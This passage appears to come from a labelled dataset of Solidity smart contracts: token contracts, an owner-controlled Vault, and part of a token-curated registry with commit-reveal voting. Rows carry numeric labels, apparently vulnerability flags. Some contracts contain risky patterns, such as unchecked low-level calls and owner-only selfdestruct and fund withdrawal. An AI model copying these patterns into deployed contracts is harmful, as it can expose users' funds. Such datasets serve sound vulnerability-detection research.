function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
approve(_spender, _value);
if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) {
revert();
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
canTransfer
releaseTokenValid(msg.sender, balances[msg.sender].sub(_value))
returns (bool success)
{
require(_to != address(0));
require (_value <= balances[_from]);
require (_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract LTE is Owned, standardToken {
string constant public name = "LTEChainToken";
string constant public symbol = "LTE";
uint constant public decimals = 18;
mapping(address => uint256) public ethBalances;
uint256 public ethCrowdsale = 0;
uint256 public rate = 1;
bool public crowdsaleClosed = false;
uint256 constant public topTotalSupply = 1 * 10**9 * 10**decimals;
event fallbackTrigged(address addr,uint256 amount);
function() payable {
require(!crowdsaleClosed);
uint ethAmount = msg.value;
ethBalances[msg.sender] = ethBalances[msg.sender].add(ethAmount);
ethCrowdsale = ethCrowdsale.add(ethAmount);
uint256 rewardAmount = ethAmount.mul(rate);
require (_totalSupply.add(rewardAmount)<=topTotalSupply);
_totalSupply = _totalSupply.add(rewardAmount);
balances[msg.sender] = balances[msg.sender].add(rewardAmount);
emit fallbackTrigged(msg.sender,rewardAmount);
}
function setCrowdsaleClosed(bool _bool) public onlyOwner {
crowdsaleClosed = _bool;
}
function setRate(uint256 _value) public onlyOwner {
rate = _value;
}
function getBalance() constant onlyOwner returns(uint){
return this.balance;
}
event SendEvent(address to, uint256 value, bool result);
function sendEther(address addr,uint256 _value) public onlyOwner {
bool result = false;
require (_value < this.balance);
result = addr.send(_value);
emit SendEvent(addr, _value, result);
}
function kill(address _addr) public onlyOwner {
selfdestruct(_addr);
}
function allocateToken(address[] _owners, uint256[] _values, uint256[] _addrLockType) public onlyOwner {
require ((_owners.length == _values.length) && ( _values.length == _addrLockType.length));
for(uint i = 0; i < _owners.length ; i++){
uint256 value = _values[i] * 10**decimals ;
require (_totalSupply.add(value)<=topTotalSupply);
_totalSupply = _totalSupply.add(value);
balances[_owners[i]] = balances[_owners[i]].add(value);
emit Transfer(0x0, _owners[i], value);
userReleaseToken[_owners[i]].OCE = userReleaseToken[_owners[i]].OCE.add(value);
userReleaseToken[_owners[i]].addrLockType = _addrLockType[i];
}
}
function allocateCandyToken(address[] _owners, uint256[] _values) public onlyOwner {
require (_owners.length == _values.length);
for(uint i = 0; i < _owners.length ; i++){
uint256 value = _values[i]* 10**decimals;
require (_totalSupply.add(value)<=topTotalSupply);
_totalSupply = _totalSupply.add(value);
balances[_owners[i]] = balances[_owners[i]].add(value);
emit Transfer(0x0, _owners[i], value);
}
}
} | 0 | 1,380 |
pragma solidity ^0.5.0;
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity ^0.5.0;
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.16;
contract Vault is Ownable {
constructor(address owner) public {
transferOwnership(owner);
}
function op(address payable target, bytes calldata data, uint value) onlyOwner external payable {
target.call.value(value)(data);
}
function() payable external {}
} | 0 | 1,933 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PaySell is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "PaySell";
name = "PaySell Coin";
decimals = 8;
_totalSupply =10000000000000000000;
balances[0xF5952e18B14160cB788dD2C92Dc1a511df6f4e5E] = _totalSupply;
emit Transfer(address(0), 0xF5952e18B14160cB788dD2C92Dc1a511df6f4e5E, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,688 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EIP20Interface {
function totalSupply() public view returns (uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CanCheckERC165 {
bytes4 constant InvalidID = 0xffffffff;
bytes4 constant ERC165ID = 0x01ffc9a7;
function doesContractImplementInterface(address _contract, bytes4 _interfaceId) external view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if ((success==0)||(result==0)) {
return false;
}
(success, result) = noThrowCall(_contract, InvalidID);
if ((success==0)||(result!=0)) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if ((success==1)&&(result==1)) {
return true;
}
return false;
}
function noThrowCall(address _contract, bytes4 _interfaceId) internal view returns (uint256 success, uint256 result) {
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40)
mstore(x, erc165ID)
mstore(add(x, 0x04), _interfaceId)
success := staticcall(
30000,
_contract,
x,
0x20,
x,
0x20)
result := mload(x)
}
}
}
library DLL {
uint constant NULL_NODE_ID = 0;
struct Node {
uint next;
uint prev;
}
struct Data {
mapping(uint => Node) dll;
}
function isEmpty(Data storage self) public view returns (bool) {
return getStart(self) == NULL_NODE_ID;
}
function contains(Data storage self, uint _curr) public view returns (bool) {
if (isEmpty(self) || _curr == NULL_NODE_ID) {
return false;
}
bool isSingleNode = (getStart(self) == _curr) && (getEnd(self) == _curr);
bool isNullNode = (getNext(self, _curr) == NULL_NODE_ID) && (getPrev(self, _curr) == NULL_NODE_ID);
return isSingleNode || !isNullNode;
}
function getNext(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].next;
}
function getPrev(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].prev;
}
function getStart(Data storage self) public view returns (uint) {
return getNext(self, NULL_NODE_ID);
}
function getEnd(Data storage self) public view returns (uint) {
return getPrev(self, NULL_NODE_ID);
}
function insert(Data storage self, uint _prev, uint _curr, uint _next) public {
require(_curr != NULL_NODE_ID);
remove(self, _curr);
require(_prev == NULL_NODE_ID || contains(self, _prev));
require(_next == NULL_NODE_ID || contains(self, _next));
require(getNext(self, _prev) == _next);
require(getPrev(self, _next) == _prev);
self.dll[_curr].prev = _prev;
self.dll[_curr].next = _next;
self.dll[_prev].next = _curr;
self.dll[_next].prev = _curr;
}
function remove(Data storage self, uint _curr) public {
if (!contains(self, _curr)) {
return;
}
uint next = getNext(self, _curr);
uint prev = getPrev(self, _curr);
self.dll[next].prev = prev;
self.dll[prev].next = next;
delete self.dll[_curr];
}
}
library AttributeStore {
struct Data {
mapping(bytes32 => uint) store;
}
function getAttribute(Data storage self, bytes32 _UUID, string _attrName)
public view returns (uint) {
bytes32 key = keccak256(_UUID, _attrName);
return self.store[key];
}
function setAttribute(Data storage self, bytes32 _UUID, string _attrName, uint _attrVal)
public {
bytes32 key = keccak256(_UUID, _attrName);
self.store[key] = _attrVal;
}
}
contract PLCRVoting {
event _VoteCommitted(uint indexed pollID, uint numTokens, address indexed voter);
event _VoteRevealed(uint indexed pollID, uint numTokens, uint votesFor, uint votesAgainst, uint indexed choice, address indexed voter);
event _PollCreated(uint voteQuorum, uint commitEndDate, uint revealEndDate, uint indexed pollID, address indexed creator);
event _VotingRightsGranted(uint numTokens, address indexed voter);
event _VotingRightsWithdrawn(uint numTokens, address indexed voter);
event _TokensRescued(uint indexed pollID, address indexed voter);
using AttributeStore for AttributeStore.Data;
using DLL for DLL.Data;
using SafeMath for uint;
struct Poll {
uint commitEndDate;
uint revealEndDate;
uint voteQuorum;
uint votesFor;
uint votesAgainst;
mapping(address => bool) didCommit;
mapping(address => bool) didReveal;
}
uint constant public INITIAL_POLL_NONCE = 0;
uint public pollNonce;
mapping(uint => Poll) public pollMap;
mapping(address => uint) public voteTokenBalance;
mapping(address => DLL.Data) dllMap;
AttributeStore.Data store;
EIP20Interface public token;
constructor(address _token) public {
require(_token != 0);
token = EIP20Interface(_token);
pollNonce = INITIAL_POLL_NONCE;
}
function requestVotingRights(uint _numTokens) public {
require(token.balanceOf(msg.sender) >= _numTokens);
voteTokenBalance[msg.sender] += _numTokens;
require(token.transferFrom(msg.sender, this, _numTokens));
emit _VotingRightsGranted(_numTokens, msg.sender);
}
function withdrawVotingRights(uint _numTokens) external {
uint availableTokens = voteTokenBalance[msg.sender].sub(getLockedTokens(msg.sender));
require(availableTokens >= _numTokens);
voteTokenBalance[msg.sender] -= _numTokens;
require(token.transfer(msg.sender, _numTokens));
emit _VotingRightsWithdrawn(_numTokens, msg.sender);
}
function rescueTokens(uint _pollID) public {
require(isExpired(pollMap[_pollID].revealEndDate));
require(dllMap[msg.sender].contains(_pollID));
dllMap[msg.sender].remove(_pollID);
emit _TokensRescued(_pollID, msg.sender);
}
function rescueTokensInMultiplePolls(uint[] _pollIDs) public {
for (uint i = 0; i < _pollIDs.length; i++) {
rescueTokens(_pollIDs[i]);
}
}
function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) public {
require(commitPeriodActive(_pollID));
if (voteTokenBalance[msg.sender] < _numTokens) {
uint remainder = _numTokens.sub(voteTokenBalance[msg.sender]);
requestVotingRights(remainder);
}
require(voteTokenBalance[msg.sender] >= _numTokens);
require(_pollID != 0);
require(_secretHash != 0);
require(_prevPollID == 0 || dllMap[msg.sender].contains(_prevPollID));
uint nextPollID = dllMap[msg.sender].getNext(_prevPollID);
if (nextPollID == _pollID) {
nextPollID = dllMap[msg.sender].getNext(_pollID);
}
require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens));
dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID);
bytes32 UUID = attrUUID(msg.sender, _pollID);
store.setAttribute(UUID, "numTokens", _numTokens);
store.setAttribute(UUID, "commitHash", uint(_secretHash));
pollMap[_pollID].didCommit[msg.sender] = true;
emit _VoteCommitted(_pollID, _numTokens, msg.sender);
}
function commitVotes(uint[] _pollIDs, bytes32[] _secretHashes, uint[] _numsTokens, uint[] _prevPollIDs) external {
require(_pollIDs.length == _secretHashes.length);
require(_pollIDs.length == _numsTokens.length);
require(_pollIDs.length == _prevPollIDs.length);
for (uint i = 0; i < _pollIDs.length; i++) {
commitVote(_pollIDs[i], _secretHashes[i], _numsTokens[i], _prevPollIDs[i]);
}
}
function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) {
bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID));
bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0);
return prevValid && nextValid;
}
function revealVote(uint _pollID, uint _voteOption, uint _salt) public {
require(revealPeriodActive(_pollID));
require(pollMap[_pollID].didCommit[msg.sender]);
require(!pollMap[_pollID].didReveal[msg.sender]);
require(keccak256(abi.encodePacked(_voteOption, _salt)) == getCommitHash(msg.sender, _pollID));
uint numTokens = getNumTokens(msg.sender, _pollID);
if (_voteOption == 1) {
pollMap[_pollID].votesFor += numTokens;
} else {
pollMap[_pollID].votesAgainst += numTokens;
}
dllMap[msg.sender].remove(_pollID);
pollMap[_pollID].didReveal[msg.sender] = true;
emit _VoteRevealed(_pollID, numTokens, pollMap[_pollID].votesFor, pollMap[_pollID].votesAgainst, _voteOption, msg.sender);
}
function revealVotes(uint[] _pollIDs, uint[] _voteOptions, uint[] _salts) external {
require(_pollIDs.length == _voteOptions.length);
require(_pollIDs.length == _salts.length);
for (uint i = 0; i < _pollIDs.length; i++) {
revealVote(_pollIDs[i], _voteOptions[i], _salts[i]);
}
}
function getNumPassingTokens(address _voter, uint _pollID, uint _salt) public constant returns (uint correctVotes) {
require(pollEnded(_pollID));
require(pollMap[_pollID].didReveal[_voter]);
uint winningChoice = isPassed(_pollID) ? 1 : 0;
bytes32 winnerHash = keccak256(abi.encodePacked(winningChoice, _salt));
bytes32 commitHash = getCommitHash(_voter, _pollID);
require(winnerHash == commitHash);
return getNumTokens(_voter, _pollID);
}
function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) {
pollNonce = pollNonce + 1;
uint commitEndDate = block.timestamp.add(_commitDuration);
uint revealEndDate = commitEndDate.add(_revealDuration);
pollMap[pollNonce] = Poll({
voteQuorum: _voteQuorum,
commitEndDate: commitEndDate,
revealEndDate: revealEndDate,
votesFor: 0,
votesAgainst: 0
});
emit _PollCreated(_voteQuorum, commitEndDate, revealEndDate, pollNonce, msg.sender);
return pollNonce;
}
function isPassed(uint _pollID) constant public returns (bool passed) {
require(pollEnded(_pollID));
Poll memory poll = pollMap[_pollID];
return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst));
}
function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint numTokens) {
require(pollEnded(_pollID));
if (isPassed(_pollID))
return pollMap[_pollID].votesFor;
else
return pollMap[_pollID].votesAgainst;
}
function pollEnded(uint _pollID) constant public returns (bool ended) {
require(pollExists(_pollID));
return isExpired(pollMap[_pollID].revealEndDate);
}
function commitPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].commitEndDate);
}
function revealPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].revealEndDate) && !commitPeriodActive(_pollID);
}
function didCommit(address _voter, uint _pollID) constant public returns (bool committed) {
require(pollExists(_pollID));
return pollMap[_pollID].didCommit[_voter];
}
function didReveal(address _voter, uint _pollID) constant public returns (bool revealed) {
require(pollExists(_pollID));
return pollMap[_pollID].didReveal[_voter];
}
function pollExists(uint _pollID) constant public returns (bool exists) {
return (_pollID != 0 && _pollID <= pollNonce);
}
function getCommitHash(address _voter, uint _pollID) constant public returns (bytes32 commitHash) {
return bytes32(store.getAttribute(attrUUID(_voter, _pollID), "commitHash"));
}
function getNumTokens(address _voter, uint _pollID) constant public returns (uint numTokens) {
return store.getAttribute(attrUUID(_voter, _pollID), "numTokens");
}
function getLastNode(address _voter) constant public returns (uint pollID) {
return dllMap[_voter].getPrev(0);
}
function getLockedTokens(address _voter) constant public returns (uint numTokens) {
return getNumTokens(_voter, getLastNode(_voter));
}
function getInsertPointForNumTokens(address _voter, uint _numTokens, uint _pollID)
constant public returns (uint prevNode) {
uint nodeID = getLastNode(_voter);
uint tokensInNode = getNumTokens(_voter, nodeID);
while(nodeID != 0) {
tokensInNode = getNumTokens(_voter, nodeID);
if (tokensInNode <= _numTokens) {
if (nodeID == _pollID) {
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
function isExpired(uint _terminationDate) constant public returns (bool expired) {
return (block.timestamp > _terminationDate);
}
function attrUUID(address _user, uint _pollID) public pure returns (bytes32 UUID) {
return keccak256(abi.encodePacked(_user, _pollID));
}
}
contract Parameterizer is Ownable, CanCheckERC165 {
event _ReparameterizationProposal(string name, uint value, bytes32 propID, uint deposit, uint appEndDate);
event _NewChallenge(bytes32 indexed propID, uint challengeID, uint commitEndDate, uint revealEndDate);
event _ProposalAccepted(bytes32 indexed propID, string name, uint value);
event _ProposalExpired(bytes32 indexed propID);
event _ChallengeSucceeded(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeFailed(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward);
using SafeMath for uint;
struct ParamProposal {
uint appExpiry;
uint challengeID;
uint deposit;
string name;
address owner;
uint processBy;
uint value;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint winningTokens;
mapping(address => bool) tokenClaims;
}
mapping(bytes32 => uint) public params;
mapping(uint => Challenge) public challenges;
mapping(bytes32 => ParamProposal) public proposals;
EIP20Interface public token;
PLCRVoting public voting;
uint public PROCESSBY = 604800;
string constant NEW_REGISTRY = "_newRegistry";
bytes32 constant NEW_REGISTRY_KEC = keccak256(abi.encodePacked(NEW_REGISTRY));
bytes32 constant DISPENSATION_PCT_KEC = keccak256(abi.encodePacked("dispensationPct"));
bytes32 constant P_DISPENSATION_PCT_KEC = keccak256(abi.encodePacked("pDispensationPct"));
bytes4 public REGISTRY_INTERFACE_REQUIREMENT;
constructor(
address _tokenAddr,
address _plcrAddr,
uint _minDeposit,
uint _pMinDeposit,
uint _applyStageLen,
uint _pApplyStageLen,
uint _commitStageLen,
uint _pCommitStageLen,
uint _revealStageLen,
uint _pRevealStageLen,
uint _dispensationPct,
uint _pDispensationPct,
uint _voteQuorum,
uint _pVoteQuorum,
bytes4 _newRegistryIface
) Ownable() public {
token = EIP20Interface(_tokenAddr);
voting = PLCRVoting(_plcrAddr);
REGISTRY_INTERFACE_REQUIREMENT = _newRegistryIface;
set("minDeposit", _minDeposit);
set("pMinDeposit", _pMinDeposit);
set("applyStageLen", _applyStageLen);
set("pApplyStageLen", _pApplyStageLen);
set("commitStageLen", _commitStageLen);
set("pCommitStageLen", _pCommitStageLen);
set("revealStageLen", _revealStageLen);
set("pRevealStageLen", _pRevealStageLen);
set("dispensationPct", _dispensationPct);
set("pDispensationPct", _pDispensationPct);
set("voteQuorum", _voteQuorum);
set("pVoteQuorum", _pVoteQuorum);
}
function proposeReparameterization(string _name, uint _value) public returns (bytes32) {
uint deposit = get("pMinDeposit");
bytes32 propID = keccak256(abi.encodePacked(_name, _value));
bytes32 _nameKec = keccak256(abi.encodePacked(_name));
if (_nameKec == DISPENSATION_PCT_KEC ||
_nameKec == P_DISPENSATION_PCT_KEC) {
require(_value <= 100);
}
if(keccak256(abi.encodePacked(_name)) == NEW_REGISTRY_KEC) {
require(getNewRegistry() == address(0));
require(_value != 0);
require(msg.sender == owner);
require((_value & 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff) == _value);
require(this.doesContractImplementInterface(address(_value), REGISTRY_INTERFACE_REQUIREMENT));
}
require(!propExists(propID));
require(get(_name) != _value);
proposals[propID] = ParamProposal({
appExpiry: now.add(get("pApplyStageLen")),
challengeID: 0,
deposit: deposit,
name: _name,
owner: msg.sender,
processBy: now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY),
value: _value
});
require(token.transferFrom(msg.sender, this, deposit));
emit _ReparameterizationProposal(_name, _value, propID, deposit, proposals[propID].appExpiry);
return propID;
}
function getNewRegistry() public view returns (address) {
return address(params[NEW_REGISTRY_KEC]);
}
function challengeReparameterization(bytes32 _propID) public returns (uint) {
ParamProposal memory prop = proposals[_propID];
uint deposit = prop.deposit;
require(propExists(_propID) && prop.challengeID == 0);
uint pollID = voting.startPoll(
get("pVoteQuorum"),
get("pCommitStageLen"),
get("pRevealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: SafeMath.sub(100, get("pDispensationPct")).mul(deposit).div(100),
stake: deposit,
resolved: false,
winningTokens: 0
});
proposals[_propID].challengeID = pollID;
require(token.transferFrom(msg.sender, this, deposit));
(uint commitEndDate, uint revealEndDate,,,) = voting.pollMap(pollID);
emit _NewChallenge(_propID, pollID, commitEndDate, revealEndDate);
return pollID;
}
function processProposal(bytes32 _propID) public {
ParamProposal storage prop = proposals[_propID];
address propOwner = prop.owner;
uint propDeposit = prop.deposit;
if (canBeSet(_propID)) {
set(prop.name, prop.value);
emit _ProposalAccepted(_propID, prop.name, prop.value);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else if (challengeCanBeResolved(_propID)) {
resolveChallenge(_propID);
} else if (now > prop.processBy) {
emit _ProposalExpired(_propID);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else {
revert();
}
assert(get("dispensationPct") <= 100);
assert(get("pDispensationPct") <= 100);
now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY);
delete proposals[_propID];
}
function claimReward(uint _challengeID, uint _salt) public {
require(challenges[_challengeID].tokenClaims[msg.sender] == false);
require(challenges[_challengeID].resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt);
uint reward = voterReward(msg.sender, _challengeID, _salt);
challenges[_challengeID].winningTokens = challenges[_challengeID].winningTokens.sub(voterTokens);
challenges[_challengeID].rewardPool = challenges[_challengeID].rewardPool.sub(reward);
challenges[_challengeID].tokenClaims[msg.sender] = true;
emit _RewardClaimed(_challengeID, reward);
require(token.transfer(msg.sender, reward));
}
function voterReward(address _voter, uint _challengeID, uint _salt)
public view returns (uint) {
uint winningTokens = challenges[_challengeID].winningTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt);
return voterTokens.mul(rewardPool).div(winningTokens);
}
function canBeSet(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
return (now > prop.appExpiry && now < prop.processBy && prop.challengeID == 0);
}
function propExists(bytes32 _propID) view public returns (bool) {
return proposals[_propID].processBy > 0;
}
function challengeCanBeResolved(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
Challenge memory challenge = challenges[prop.challengeID];
return (prop.challengeID > 0 && challenge.resolved == false &&
voting.pollEnded(prop.challengeID));
}
function challengeWinnerReward(uint _challengeID) public view returns (uint) {
if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return challenges[_challengeID].stake.mul(2);
}
return challenges[_challengeID].stake.mul(2).sub(challenges[_challengeID].rewardPool);
}
function get(string _name) public view returns (uint value) {
return params[keccak256(abi.encodePacked(_name))];
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _propID) private {
ParamProposal memory prop = proposals[_propID];
Challenge storage challenge = challenges[prop.challengeID];
uint reward = challengeWinnerReward(prop.challengeID);
challenge.winningTokens =
voting.getTotalNumberOfTokensForWinningOption(prop.challengeID);
challenge.resolved = true;
if (voting.isPassed(prop.challengeID)) {
if(prop.processBy > now) {
set(prop.name, prop.value);
}
emit _ChallengeFailed(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(prop.owner, reward));
}
else {
emit _ChallengeSucceeded(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(challenges[prop.challengeID].challenger, reward));
}
}
function set(string _name, uint _value) private {
params[keccak256(abi.encodePacked(_name))] = _value;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupercedesRegistry is ERC165 {
function canReceiveListing(bytes32 listingHash, uint applicationExpiry, bool whitelisted, address owner, uint unstakedDeposit, uint challengeID) external view returns (bool);
function receiveListing(bytes32 listingHash, uint applicationExpiry, bool whitelisted, address owner, uint unstakedDeposit, uint challengeID) external;
function getSupercedesRegistryInterfaceID() public pure returns (bytes4) {
SupercedesRegistry i;
return i.canReceiveListing.selector ^ i.receiveListing.selector;
}
}
contract HumanRegistry {
event _Application(bytes32 indexed listingHash, uint deposit, uint appEndDate, string data);
event _Challenge(bytes32 indexed listingHash, uint challengeID, uint deposit, string data);
event _Deposit(bytes32 indexed listingHash, uint added, uint newTotal);
event _Withdrawal(bytes32 indexed listingHash, uint withdrew, uint newTotal);
event _ApplicationWhitelisted(bytes32 indexed listingHash);
event _ApplicationRemoved(bytes32 indexed listingHash);
event _ListingRemoved(bytes32 indexed listingHash);
event _ListingWithdrawn(bytes32 indexed listingHash);
event _TouchAndRemoved(bytes32 indexed listingHash);
event _ChallengeFailed(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeSucceeded(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward, address voter);
event _ListingMigrated(bytes32 indexed listingHash, address newRegistry);
using SafeMath for uint;
struct Listing {
uint applicationExpiry;
bool whitelisted;
address owner;
uint unstakedDeposit;
uint challengeID;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint totalTokens;
mapping(address => bool) tokenClaims;
}
mapping (address => bool) public humans;
mapping(uint => Challenge) public challenges;
mapping(bytes32 => Listing) public listings;
mapping(address => uint) public numApplications;
mapping(address => uint) public totalStaked;
EIP20Interface public token;
PLCRVoting public voting;
Parameterizer public parameterizer;
string public constant version = "1";
constructor(
address _tokenAddr,
address _plcrAddr,
address _paramsAddr
) public {
token = EIP20Interface(_tokenAddr);
voting = PLCRVoting(_plcrAddr);
parameterizer = Parameterizer(_paramsAddr);
}
